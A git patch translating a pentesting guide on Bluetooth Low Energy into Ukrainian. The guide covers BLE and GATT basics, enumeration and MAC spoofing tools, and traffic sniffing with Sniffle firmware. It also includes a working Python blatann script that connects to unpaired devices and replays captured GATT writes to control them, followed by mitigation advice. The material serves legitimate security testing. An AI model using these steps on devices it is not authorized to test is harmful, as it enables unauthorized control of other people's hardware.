From bb52e700a6d9b70554b75c0825324e3a9f54a47a Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 28 Aug 2025 14:31:57 +0000 Subject: [PATCH] Translated ['', 'src/todo/radio-hacking/pentesting-ble-bluetooth-low-ene --- .../pentesting-ble-bluetooth-low-energy.md | 139 ++++++++++++++++-- 1 file changed, 130 insertions(+), 9 deletions(-) diff --git a/src/todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md b/src/todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md index f56f60572..375da5c90 100644 --- a/src/todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md +++ b/src/todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md @@ -2,23 +2,23 @@ {{#include ../../banners/hacktricks-training.md}} -## Introduction +## Вступ -Доступний з специфікації Bluetooth 4.0, BLE використовує лише 40 каналів, охоплюючи діапазон від 2400 до 2483.5 МГц. На відміну від цього, традиційний Bluetooth використовує 79 каналів у тому ж діапазоні. +Доступний з моменту специфікації Bluetooth 4.0, BLE використовує лише 40 каналів, що покривають діапазон 2400–2483.5 МГц. Натомість традиційний Bluetooth використовує 79 каналів у тому ж діапазоні. -BLE пристрої спілкуються, надсилаючи **advertising packets** (**beacons**), ці пакети транслюють існування BLE пристрою іншим сусіднім пристроям. Ці маяки іноді також **send data**. +Пристрої BLE комунікують, відправляючи **рекламні пакети** (**маячки**) — ці пакети сповіщають про наявність BLE-пристрою іншим пристроям поблизу. Ці маячки іноді також **відправляють дані**. -Слухач, також званий центральним пристроєм, може відповісти на advertising packet з **SCAN request**, надісланим спеціально до рекламного пристрою. **Response** на цей скан використовує ту ж структуру, що й **advertising** пакет з додатковою інформацією, яка не вмістилася в початковий advertising request, такою як повна назва пристрою. +Пристрій, що слухає (також званий центральним пристроєм), може відповісти на рекламний пакет **SCAN request**, відправивши його безпосередньо рекламному пристрою. **Відповідь** на цей скан має ту саму структуру, що й **рекламний** пакет, з додатковою інформацією, яка не помістилася у початковому рекламному пакеті, наприклад повна назва пристрою. ![](<../../images/image (152).png>) -Байт преамбули синхронізує частоту, тоді як чотирибайтовий адреса доступу є **connection identifier**, який використовується в сценаріях, коли кілька пристроїв намагаються встановити з'єднання на тих же каналах. Далі, Протокольна Дані Одиниця (**PDU**) містить **advertising data**. Існує кілька типів PDU; найчастіше використовуються ADV_NONCONN_IND та ADV_IND. Пристрої використовують тип PDU **ADV_NONCONN_IND**, якщо вони **don’t accept connections**, передаючи дані лише в advertising packet. Пристрої використовують **ADV_IND**, якщо вони **allow connections** і **stop sending advertising** пакети, як тільки **connection** було **established**. +Преамбула (preamble byte) синхронізує частоту, тоді як чотирьохбайтна access address є **ідентифікатором з'єднання**, який використовується в ситуаціях, коли кілька пристроїв намагаються встановити з'єднання на тих самих каналах. Далі Protocol Data Unit (**PDU**) містить **рекламні дані**. Існує кілька типів PDU; найчастіше використовувані — ADV_NONCONN_IND та ADV_IND. Пристрої використовують тип PDU **ADV_NONCONN_IND**, якщо вони **не приймають з'єднань**, передаючи дані лише в рекламному пакеті. Пристрої використовують **ADV_IND**, якщо вони **дозволяють з'єднання** і **перестають відправляти рекламні** пакети після того, як **з'єднання** було **встановлене**. ### GATT -**Generic Attribute Profile** (GATT) визначає, як **пристрій повинен форматувати та передавати дані**. Коли ви аналізуєте поверхню атаки BLE пристрою, ви часто зосереджуєте свою увагу на GATT (або GATTs), оскільки це те, як **функціональність пристрою активується** і як дані зберігаються, групуються та модифікуються. GATT перераховує характеристики, дескриптори та сервіси пристрою в таблиці як значення 16 або 32 біти. **Characteristic** - це **data** значення, яке **sent** між центральним пристроєм і периферійним. Ці характеристики можуть мати **descriptors**, які **provide additional information about them**. **Characteristics** часто **grouped** в **services**, якщо вони пов'язані з виконанням певної дії. +The **Generic Attribute Profile** (GATT) визначає, як **пристрій має форматувати та передавати дані**. Коли ви аналізуєте attack surface BLE-пристрою, ви часто зосереджуєте увагу на GATT (або GATTs), оскільки саме через нього **активуються функції пристрою** та відбувається зберігання, групування й модифікація даних. GATT перераховує характеристики, дескриптори та сервіси пристрою в таблиці як 16- або 32-бітові значення. **Characteristic** — це **значення даних**, яке **передається** між центральним пристроєм і периферійним. Ці характеристики можуть мати **descriptors**, які **надають додаткову інформацію про них**. **Characteristics** часто **групуються** у **services**, якщо вони пов'язані з виконанням певної дії. -## Enumeration +## Перерахування ```bash hciconfig #Check config, check if UP or DOWN # If DOWN try: @@ -30,8 +30,8 @@ spooftooph -i hci0 -a 11:22:33:44:55:66 ``` ### GATTool -**GATTool** дозволяє **встановити** **з'єднання** з іншим пристроєм, перераховуючи **характеристики** цього пристрою та читаючи і записуючи його атрибути.\ -GATTTool може запустити інтерактивну оболонку з опцією `-I`: +**GATTool** дозволяє **встановити** **з'єднання** з іншим пристроєм, перелічуючи **характеристики** того пристрою, а також читати та записувати його атрибути.\ +GATTTool може запустити інтерактивну оболонку за допомогою опції `-I`: ```bash gatttool -i hci0 -I [ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful @@ -64,4 +64,125 @@ sudo bettercap --eval "ble.recon on" >> ble.write >> ble.write ff06 68656c6c6f # Write "hello" in ff06 ``` +## Sniffing і активне керування непарними BLE-пристроями + +Багато дешевих BLE-периферійних пристроїв не вимагають pairing/bonding. Без bonding шифрування Link Layer ніколи не включається, тому трафік ATT/GATT передається у cleartext. Off-path sniffer може відстежити з'єднання, декодувати GATT-операції, щоб дізнатися characteristic handles and values, і будь-який близький хост може підключитися та повторити ці записи (replay those writes), щоб керувати пристроєм. + +### Sniffing with Sniffle (CC26x2/CC1352) + +Апаратне забезпечення: Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352), перепрошитий прошивкою Sniffle від NCC Group. + +Встановіть Sniffle та його Wireshark extcap на Linux: +```bash +if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then +echo "[+] - Sniffle not installed! Installing at 1.10.0..." +sudo mkdir -p /opt/sniffle +sudo chown -R $USER:$USER /opt/sniffle +pushd /opt/sniffle +wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz +tar xvf v1.10.0.tar.gz +# Install Wireshark extcap for user and root only +mkdir -p $HOME/.local/lib/wireshark/extcap +ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap +sudo mkdir -p /root/.local/lib/wireshark/extcap +sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap +popd +else +echo "[+] - Sniffle already installed at 1.10.0" +fi +``` +Прошити Sonoff прошивкою Sniffle (переконайтеся, що ваш серійний пристрій відповідає, наприклад /dev/ttyUSB0): +```bash +pushd /opt/sniffle/ +wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex +git clone https://github.com/sultanqasim/cc2538-bsl.git +cd cc2538-bsl +python3 -m venv .venv +source .venv/bin/activate +python3 -m pip install pyserial intelhex +python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex +deactivate +popd +``` +Захопіть трафік у Wireshark через Sniffle extcap і швидко перейдьте до записів, що змінюють стан, відфільтрувавши: +```text +_ws.col.info contains "Sent Write Command" +``` +Це показує ATT Write Commands з боку client; handle та value часто безпосередньо відповідають діям пристрою (наприклад, записати 0x01 у buzzer/alert characteristic, 0x00 — щоб зупинити). + +Швидкі приклади Sniffle CLI: +```bash +python3 scanner.py --output scan.pcap +# Only devices with very strong signal +python3 scanner.py --rssi -40 +# Filter advertisements containing a string +python3 sniffer.py --string "banana" --output sniff.pcap +``` +Alternative sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin also works. On small/cheap Nordic dongles you typically overwrite the USB bootloader to load the sniffer firmware, so you either keep a dedicated sniffer dongle or need a J-Link/JTAG to restore the bootloader later. + +### Активне керування через GATT + +Після того як ви визначили writable characteristic handle і value зі sniffed traffic, підключіться як будь-який central і виконайте той самий write: + +- За допомогою Nordic nRF Connect for Desktop (BLE app): +- Оберіть nRF52/nRF52840 dongle, скануйте і підключіться до цілі. +- Перегляньте GATT database, знайдіть target characteristic (часто має дружню назву, наприклад, Alert Level). +- Виконайте Write зі sniffed bytes (наприклад, 01 щоб trigger, 00 щоб stop). + +- Автоматизуйте на Windows з Nordic dongle використовуючи Python + blatann: +```python +import time +import blatann + +# CONFIG +COM_PORT = "COM29" # Replace with your COM port +TARGET_MAC = "5B:B1:7F:47:A7:00" # Replace with your target MAC + +target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + ",p") + +# CONNECT +ble_device = blatann.BleDevice(COM_PORT) +ble_device.configure() +ble_device.open() +print(f"[-] Connecting to {TARGET_MAC}...") +peer = ble_device.connect(target_address).wait() +if not peer: +print("[!] Connection failed.") +ble_device.close() +raise SystemExit(1) + +print("Connected. Discovering services...") +peer.discover_services().wait(5, exception_on_timeout=False) + +# Example: write 0x01/0x00 to a known handle +for service in peer.database.services: +for ch in service.characteristics: +if ch.handle == 0x000b: # Replace with your handle +print("[!] Beeping.") +ch.write(b"\x01") +time.sleep(2) +print("[+] And relax.") +ch.write(b"\x00") + +print("[-] Disconnecting...") +peer.disconnect() +peer.wait_for_disconnect() +ble_device.close() +``` +### Оперативні зауваження та заходи пом'якшення + +- Віддавайте перевагу Sonoff+Sniffle на Linux для надійного channel hopping та connection following. Майте запасний Nordic sniffer як резерв. +- Без pairing/bonding будь-який зловмисник поблизу може спостерігати writes і replay/craft власні до unauthenticated writable characteristics. +- Заходи пом'якшення: вимагати pairing/bonding та застосовувати шифрування; встановити characteristic permissions так, щоб вимагати authenticated writes; мінімізувати unauthenticated writable characteristics; перевіряти GATT ACLs за допомогою Sniffle/nRF Connect. + +## References + +- [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/) +- [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle) +- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle) +- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p) +- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE) +- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop) +- [blatann – Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/) + {{#include ../../banners/hacktricks-training.md}}